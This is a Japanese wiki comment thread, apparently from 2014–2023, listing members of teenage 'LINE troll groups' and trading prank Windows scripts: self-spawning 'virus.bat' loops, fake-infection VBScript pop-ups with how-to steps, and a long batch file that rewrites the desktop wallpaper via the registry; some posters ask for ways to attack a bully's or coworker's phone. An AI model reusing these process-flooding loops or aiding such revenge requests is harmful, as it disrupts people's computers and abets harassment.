約 3,858,193 件
https://w.atwiki.jp/kodepaku/pages/43.html
ワロス^o^ -- (初代邪鬼) 2014-03-21 03 46 51 start virus.bat -- (初代邪鬼) 2014-03-21 03 51 49 初代邪鬼 サイト☻ 、☦初代☫邪鬼☦ 【拡散望希】回してちょ^o^ ↓↓↓↓↓↓ 野犬No.00ルキア 野犬No.0アポロ 野犬No.1初代凛華 野犬No.2狂犬 野犬No.3シア 野犬No.4メカクシ団長 野犬No.5エビ 野犬No.6初代ミント 野犬No.7初代kazak 野犬No.8初代クレハ 野犬No.9りんげつ 野犬No.10信長 野犬No.11サメ 野犬No.12ツンデレ 野犬No.13死神 野犬No.14初代狂龍 野犬No.15REY 野犬No.16ミューク 野犬No.17じゅんぺー 野犬No.18初代きらら 野犬No.19八代目アポロ 野犬No.20しんや 野犬No.21炎ロゥリィ 野犬No.22あくあらいん 野犬No.24桜咲 野犬No.25初代白馬 野犬No.26初代クール 野犬No.27ゆー 野犬No.28ステルス 野犬No.29天魔 野犬No.30オレオ 野犬No.31ありぬさん 野犬No.32ヘラ 野犬No.33ガアラ 野犬No.34マグナ 野犬No.35ギラ 野犬No.36初代ウルフ 野犬No.37初代神様 野犬No.38初代サタン 野犬No.39初代イチゴ 野犬No.40ŢĚŔŖǾȐĨŠȾ 野犬No.41シリア 野犬No.42初代トラ王 野犬No.43初代キング 野犬No.44アルパス 野犬No.45初代キルア 野犬No.46五円問 野犬No.47初代カルビー 野犬No.48ルクティー 野犬No.49ファトム 野犬No.50三代目アポロ 野犬No.51初代マグナ 野犬No.52初代グース 野犬No.53イチゴ 野犬No.54エルビー 野犬No.55初代ラーマン -- (初代邪鬼) 2014-03-21 03 56 41 初代邪鬼サイト☻ 邪鬼メンバーよろしく☻ (つД`)ノ、☦初代☫邪鬼☦ 【拡散望希】回してちょ^o^ ↓↓↓↓↓↓ 邪鬼No.00ルキア 邪鬼No.0アポロ 邪鬼No.1初代凛華 邪鬼No.2狂犬 邪鬼No.3シア 邪鬼No.4メカクシ団長 邪鬼No.5エビ 邪鬼No.6初代ミント 邪鬼No.7初代kazak 邪鬼No.8初代クレハ 邪鬼No.9りんげつ 邪鬼No.10信長 邪鬼No.11サメ 邪鬼No.12ツンデレ 邪鬼No.13死神 邪鬼No.14初代狂龍 邪鬼No.15REY 邪鬼No.16ミューク 邪鬼No.17じゅんぺー 邪鬼No.18初代きらら 邪鬼No.19八代目アポロ 邪鬼No.20しんや 邪鬼No.21炎ロゥリィ 邪鬼No.22あくあらいん 邪鬼No.24桜咲 邪鬼No.25初代白馬 邪鬼No.26初代クール 邪鬼No.27ゆー 邪鬼No.28ステルス 邪鬼No.29天魔 邪鬼No.30オレオ 邪鬼No.31ありぬさん 邪鬼No.32ヘラ 邪鬼No.33ガアラ 邪鬼No.34マグナ 邪鬼No.35ギラ 邪鬼No.36初代ウルフ 邪鬼No.37初代神様 邪鬼No.38初代サタン 邪鬼No.39初代イチゴ 邪鬼No.40ŢĚŔŖǾȐĨŠȾ 邪鬼No.41シリア 邪鬼No.42初代トラ王 邪鬼No.43初代キング 邪鬼No.44アルパス 邪鬼No.45初代キルア 邪鬼No.46五円問 邪鬼No.47初代カルビー 邪鬼No.48ルクティー 邪鬼No.49ファトム 邪鬼No.50三代目アポロ 邪鬼No.51初代マグナ 邪鬼No.52初代グース 邪鬼No.53イチゴ 邪鬼No.54エルビー 邪鬼No.55初代ラーマン -- (初代邪鬼) 2014-03-21 04 08 03 LINE有名人リスト 狂犬 信長 ドミノ 死神 邪鬼 ツクヨミ ミューク ジョーカ オレオ Cキラー ザギア ガイア ガセル アポロ ゼウス -- (有名人リストLINE) 2014-03-21 06 20 47 荒らしグル ゼパル隊 ジオ隊 ネオ 死滅団 マクロ隊 テロリスト団 小規模 つむじ風団 世紀末隊 武装団 阿修羅団 死神団 -- (LINE荒らしグル) 2014-03-21 06 24 59 個人邪鬼サイト☻ -- (終わり) 2014-03-21 06 26 05 有名な荒らしグループ 殲滅団 死滅団 火遊び団 不滅団 ゼパル隊/ネオ殲滅団/死殲滅 黒猫団/黒猫団²/黒鬼団/組織/黒猫連合 神帝王 荒らしグループ(知名度中) 真生紅魔団/紅魔団 GOD殲滅団 紫電ノ城 神聖極刻帝/那星機構 王衆 獄殲滅団/X ユンユン団 殲滅団Δ/δ/Π/ζ/α/Ω/Σ/Ø(殲滅団派生系グループ) 荒らしグループ(知名度低) 神殲滅団 毒滅団 終焉漆黒団 桜神団 魔界 氷炎帝 天獄滅死団 ショケイ隊/β 浪桜団 覇帝団 煉獄帝 破堕羅紅団 #37000;嚠団 斬覇族 魏劉団 殺戮団 麗華龍団 残酷教 骸 縷々帝 隠欺荒 火怨団 ARS連合軍 神滅団 #28977;獄団 八咫烏の檻 魏斬団 星黎帝 月光帝 夜迦団 闇底団 幻想団 神聖騎士団/¢ 奏氷団 #12644; 煌燐帝 龍滅撲滅団 GenesiGod 冥我暁帝団 神星天魔団 蠍団 つむじ風団 黒扇団 煌王団 惡滅隊 雲外蒼天団 神滅団 翁激燦 神天炎団 翔羽団 魔神の塔 狂瀾瀛燗団 神官 桜ゼパル隊 四狼ノ衆 神風帝 銀軍 黄巾賊 閃蝕団 ディオス漆殺団 閻魔帝 白夜団 化物団 レキナのガチグル SacrificeAngel 隠滅煌王団 不可思議団 覇刻聖帝団 夢喰団 暁闇団 神斬滅団 最後の大隊 零帝ルキア教 幕府 太陽隊 雷撃団 煌極団 胤雅団 恐王団/Ω 臥龍団 黒の騎士団 融園隊 正十字騎士団 闇月隊 麗華龍団 暗黒騎士団 破壊神ネオ Dark ruler 死翠団 超新星団 獄魔帝 龍王殺団 KILL殲滅団 不滅幻桜帝 神月滅団 KLD団 天獄団 神帝獄滅団 もっこり団 闇中団 夢猫団 零狂ノ城 狩滅帝 蘭夜魔団 妖々夢隊 儀魔団 覇道団 殲冥団 骸南班 帝族 セルザ先鋭隊 殺滅団 神桜団 朱雀帝 殺骸零団 Champion lucis 覇王 壊滅X団 破壊神滅団 白騎士団 †真・覇刻聖帝団† 赤スバ教 №s 秦凰帝 神桜魔 東海稲木会 暗殺部隊 千本桜騎士団 聖獄帝 レオニーズ 黒蜥蜴団 雑団 黒龍 白籠団 黒龍団 龍誠団 悪極星刻団 黒大蛇√団 白夜炎神団 鳳凰騎士団 虚翼帝 電脳団 白滅団 残虐団 失滅団 焉滅団 終焉獄刻帝 破党 神極 滅炎団 氷華団 神影団 掌握軍 零滅 白桜団/華龍組 グループジャック BF団 森羅万象 氷結団 闇真竜団 九垓団 不死鳥団 不死鳥魔団 月影団 狂滅団 雨亞滅団 醵滅団 焔帝団 天帝 桜団 火桜団 血桜団 死桜団 鬼桜団 死霊桜団 幸福実現団 悪鬼滅裂団 悪鬼羅刹団 終烙団 爆撃団 漆黒の騎士団 迅雷古団 獄炎団 獄滅団 棗天狗団 黎明団 乾滅団 抜刀隊 人壊団 幻狼団 骸蟒団 クチカクシ団 煉獄団 ゼロ教団 蛇神帝 ネオ殺戮団 神玉砕団 神煉獄団 神喰団 神滅隊 神月鬼ノ組 真騎瞑啼団 魔王団 滅ゼクス教 聖滅団 黒凛団 βコレクション 気団 夜桜隊 δ連合軍 世紀末隊 -- (LINE荒らしグル) 2014-03-21 16 36 24 世紀末隊 -- (名無しさん) 2014-03-21 16 37 35 初代邪鬼の相棒 アポロ ドミノ ルシュファー 狂犬 ミント サタン 牙神 サメ フォトムー 初代五円門 ザラ にゃぁこ 初代邪鬼 相棒紹介(o_0) -- (邪鬼 の 相棒 紹介) 2014-03-22 04 57 18 このファイルは自分で自分を実行してるってことですね。 -- (名無しさん) 2014-03-31 10 29 31 σ(゚∀゚)オレオレ神 -- (ルキア) 2014-04-11 20 12 27 ふふふ -- (Old kipper JX) 2014-04-11 21 56 15 おらも残なんとかに入ってます -- (ロケット団団長) 2014-04-14 15 57 54 恐王団あっタッッッッwww -- (ティバ) 2014-05-02 01 56 31 あ -- (名無しさん) 2014-06-05 22 53 28 神風団というLINEグループつくったよ -- (名無しさん) 2014-06-10 22 49 37 神風団とかどこだよ(°_°) 恐王団が壊滅させてやんよ -- (ティバ) 2014-06-13 00 12 36 ↑TLのせよw http line.me/ti/p/7eKYxWgjWN -- (lorex) 2014-07-19 06 36 59 一緒にハッキングの勉強をしませんか? よかったらメール下さい。 sngks3201@gmail.com -- (sngks3201) 2014-09-23 13 01 42 あれま。殺骸零団とか…。知名度低w -- (元殺骸零団団長) 2014-10-05 14 14 42 (^ω^) -- (名無しさん) 2014-10-09 22 54 53 ははははは -- (furuse1125) 2014-12-16 16 48 15 start virus.bat virus.bat -- (名無しさん) 2015-03-19 10 20 11 ウイルスQRとかってないんですか? LINEなど -- (ほらポン) 2015-08-07 15 42 55 皆さん 中二病なんですか 中二病ならマジでキモイから調教するね -- (調教師ホラレル) 2016-01-29 20 18 08 懐かしいなぁ、ガキの頃を思い出す -- (名無しさん) 2016-09-14 01 43 55 名前が。爆笑 LINEの荒らしとかとレベルちゃうからね? ぱそをクラッシュさせんのわ。。。 -- (りゅーちゃず) 2017-10-17 19 34 04 友達がいじめられててそのいじめてる人のスマホアカウントに攻撃したいのですが何かないでしょうか? -- (ラー) 2018-03-17 23 40 12 会社であるやつに見下されてます 過去に自分が極道って事を意気がりね 奴には世間の恐さをおしえてやりたいのでウィルスなどで相手のスマホを破壊したいなと思ってます -- (ぽん) 2018-06-12 20 24 33 Ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp -- (うんこ) 2019-06-17 15 20 50 http //mtu -gb.ml -- (Www) 2019-07-03 15 37 05 なるほどね。 virusというファイルで作ることで コマンドプロンプトを大量発生させるってことね。 -- (coda) 2019-07-24 20 54 44 だったら、これの仕組みわかる人いる? x=inputbox("password","Access cpcraft") if x="(パスワードを各自入力してください)" then y="パスワード一致しました。" else y="パスワードが一致しません。" for i=1 to 10 Dim wshshell set wshshell = wscript.CreateObject("WScript.shell") next end if msgbox y,,"結果" ちなみに出たウィンドウに設定したパスワードを入力すると、一致しましたと出ます。 -- (coda) 2019-07-24 20 58 13 これは、.vbsで保存したらできますよ。 名前はなんでも結構です。 -- (coda) 2019-07-24 20 59 07 コレワカル? HHHHHQ -- (名無しさん) 2020-10-29 14 52 28 Option Explicit Dim num,x num = 2 Do While True num = MsgBox ("ウイルスをインストールしますか?",49,"ウイルス情報") If num = 1 Then Exit Do Loop MsgBox "ウイルスのインストールを始めます",0,"はじめます" WScript.Sleep(10000) MsgBox "ウイルスのインストールが完了しました。",16,"完了" WScript.Sleep(3000) MsgBox "警告 C \Windows\system72\picture.sysが破損しています!",16,"Windows" MsgBox "警告 C \Windows\system72\activate.datが破損しています!",16,"Windows" WScript.Sleep(20) MsgBox "警告 C \Windows\system72\registry.dllが破損しています!",16,"Windows" WScript.Sleep(1000) MsgBox "警告 C \Windows\system72\mathematica.exeが破損しています!",16,"Windows" WScript.Sleep(1000) MsgBox "警告 C \Windows\system72\cmd.7zipが破損しています!",16,"Windows" MsgBox "警告 C \Windows\system72\b_screen.zipが破損しています!",16,"Windows" WScript.Sleep(1000) MsgBox "警告 C \Windows\system72\monument.zipが破損しています!",16,"Windows" WScript.Sleep(2000) MsgBox "警告 C \Windows\system72\userdata.logが破損しています!",16,"Windows" MsgBox "警告 C \Windows\system72\osinfoが破損しています!",16,"Windows" WScript.Sleep(1000) MsgBox "警告 C \Windows\system72\explolerが破損しています!",16,"Windows" MsgBox "警告 低レベルな冗談です",16,"Windows" 低レベルwwwww -- (ヒューチャー武田) 2021-04-05 10 05 55 ~やり方~ 1.Windowsのメモ帳を開く 2.下のプログラムをWindowsメモ帳にコピペ又は、直接打ち込んでください Option Explicit msgbox"警告" "このコンピューターはウイルスに感染しました",vbcritical dim i for i=1 to 5 step 1 msgbox "カウント5分の" i "回:すべてのデータを削除します。よろしいですか?",vbYesNo next 4.左上の保存をクリック 5.名前を、「~.vbs」とする。 例 「いたずら.vbs」 6.名前の下のファイル形式を、 「テキストファイル」から「すべてのファイル」にして保存します。 7.そうするとデスクトップに保存したやつが出てくると思うのでそれをダブルクリック!もし、デスクトップに出てこなかった人は、ファイルを検索してください。 -- (トムとジェリー) 2021-05-09 15 42 46 1 color a start dir goto 1 ウイルスの出来上がり! -- (system32) 2023-07-15 14 57 49 @echo off start taskmgr.exe start msedge.exe https //google.com start wmplayer.exe start taskmgr.exe type null NoName.exe type null nOName.exe type null NOname.exe type null noNAmE.exe type null nOnaMe.exe type null nOnamE.exe type null NOName.exe type null NoNAMe.exe rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg 